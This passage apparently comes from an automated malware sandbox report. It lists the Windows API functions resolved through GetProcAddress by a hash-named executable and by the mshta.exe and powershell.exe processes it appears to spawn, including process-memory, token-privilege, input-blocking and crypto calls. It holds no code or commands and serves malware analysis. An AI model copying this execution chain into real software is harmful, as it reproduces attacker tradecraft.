"GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetSystemDefaultLocaleName (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter EtwUnregisterTraceGuids (UID: 00000000-00005964) "mshta.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter RegisterApplicationRestart (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter RunHTMLApplication (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter OleInitialize (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter DwmIsCompositionEnabled (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter PathRemoveArgsW (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter CreateURLMonikerEx (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter RaiseFailFastException (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter SetCoalescableTimer (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter IsAppThemed (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter LpkEditControl (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter CoRegisterInitializeSpy (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter CoInternetCreateSecurityManager (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter IUnknown_QueryService (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter SHCreateAssociationRegistration (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter CoInternetGetSession (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter CoInternetQueryInfo (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter CoInternetParseUrl (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter CreateBindCtx (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter SHStrDupW (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter AcquireSRWLockShared (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter ReleaseSRWLockShared (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter RegisterBindStatusCallback (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter RegisterTouchHitTestingWindow (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter CoRevokeInitializeSpy (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter LresultFromObject (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter GetGUIThreadInfo (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter GetAccCursorInfo (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter GetCursorInfo (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter GetWindowInfo (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter GetTitleBarInfo (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter GetScrollBarInfo (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter GetComboBoxInfo (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter GetAncestor (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter RealChildWindowFromPoint (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter RealGetWindowClassW (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter GetAltTabInfoW (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter GetListBoxInfo (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter GetMenuBarInfo (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter SendInput (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter BlockInput (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter LogicalToPhysicalPoint (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter PhysicalToLogicalPoint (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter WindowFromPhysicalPoint (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter GetPhysicalCursorPos (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter VirtualAllocEx (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter VirtualFreeEx (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter NtQueryInformationProcess (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter NtAllocateVirtualMemory (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter NtFreeVirtualMemory (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter LookupAccountSidLocalW (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter EqualSid (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter SxsOleAut32MapIIDToProxyStubCLSID (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter RegQueryValueW (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter ObjectFromLresult (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter MsimtfIsWindowFiltered (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter RegisterDragDrop (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter ResolveDelayLoadedAPI (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter CLSIDFromProgIDEx (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter SxsOleAut32RedirectTypeLibrary (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter RegOpenKeyW (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter SxsOleAut32MapConfiguredClsidToReferenceClsid (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter ShellExecuteExW (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter SHGetInstanceExplorer (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter RegisterTraceGuidsW (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter EventEnabled (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter InitializeSecurityDescriptor (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter SetEntriesInAclW (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter GetMartaExtensionInterface (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter SetSecurityDescriptorDacl (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter RegGetValueW (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter PathCreateFromUrlW (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter OleUninitialize (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter ReleaseBindInfo (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter RevokeDragDrop (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter RevokeBindStatusCallback (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter DWriteCreateFactory (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter CreateDXGIFactory1 (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTOpenAdapterFromGdiDisplayName (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTCloseAdapter (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTQueryAdapterInfo (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTOpenAdapterFromDeviceName (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter SetupDiGetClassDevsW (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter SetupDiEnumDeviceInterfaces (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter SetupDiGetDeviceInterfaceDetailW (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter SetupDiDestroyDeviceInfoList (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter SetupDiGetDevicePropertyW (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter WinVerifyTrust (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTGetDisplayModeList (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTSetVidPnSourceOwner (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTSetDisplayMode (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTSetGammaRamp (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTGetDeviceState (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTWaitForVerticalBlankEvent (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTCreateDCFromMemory (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTDestroyDCFromMemory (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTCheckVidPnExclusiveOwnership (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTCheckMonitorPowerState (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTCheckSharedResourceAccess (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter GetUserNameExA (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter GetSidSubAuthorityCount (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter GetSidSubAuthority (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter RegCreateKeyExA (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter RegQueryValueExA (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter RegSetValueExW (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter SHGetKnownFolderPath (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter CopySid (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter ConvertStringSecurityDescriptorToSecurityDescriptorW (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter SHCreateStreamOnFileW (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter CreateXmlReader (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter CreateDXGIFactory (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter CheckETWTLS (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter D3D11CreateDevice (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter CompatValue (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTGetThunkVersion (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTSetQueuedLimit (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTGetMultisampleMethodList (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTSetDisplayPrivateDriverFormat (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTDestroySynchronizationObject (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTCreateSynchronizationObject (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTDestroyContext (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTCreateContext (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTGetContextSchedulingPriority (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTSetContextSchedulingPriority (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTPresent (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTDestroyDevice (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTCreateDevice (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTQueryAllocationResidency (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTSetAllocationPriority (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTDestroyAllocation (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTOpenResource (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTQueryResourceInfo (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTCreateAllocation (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTSignalSynchronizationObject (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTWaitForSynchronizationObject (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTEscape (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTUnlock (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTLock (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter D3DKMTRender (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter OpenAdapter10_2 (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter ShouldShowIntranetWarningSecband (UID: 00000000-00003516) "mshta.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00003516) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter SysStringByteLen (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter CryptAcquireContextW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter EqualSid (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter CryptImportKey (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter CryptExportKey (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter CryptCreateHash (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter CryptHashData (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter CryptGetHashParam (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter CryptDestroyHash (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter CryptDestroyKey (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter NtQueryInformationThread (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter SetWaitableTimerEx (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter SortGetHandle (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter SortCloseHandle (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSize (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfo (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValue (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageName (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageNameW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModulesW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformation (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformationW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseName (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameEx (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter EnumWindowsW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter WTGetSignatureInfo (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter WTGetSignatureInfoA (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter _WTGetSignatureInfo@24 (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrust (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrustW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter WintrustCertificateTrust (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter SoftpubAuthenticode (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter SoftpubInitialize (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter SoftpubLoadMessage (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter SoftpubLoadSignature (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter SoftpubCheckCert (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter SoftpubCleanup (UID: 00000000-00003436) 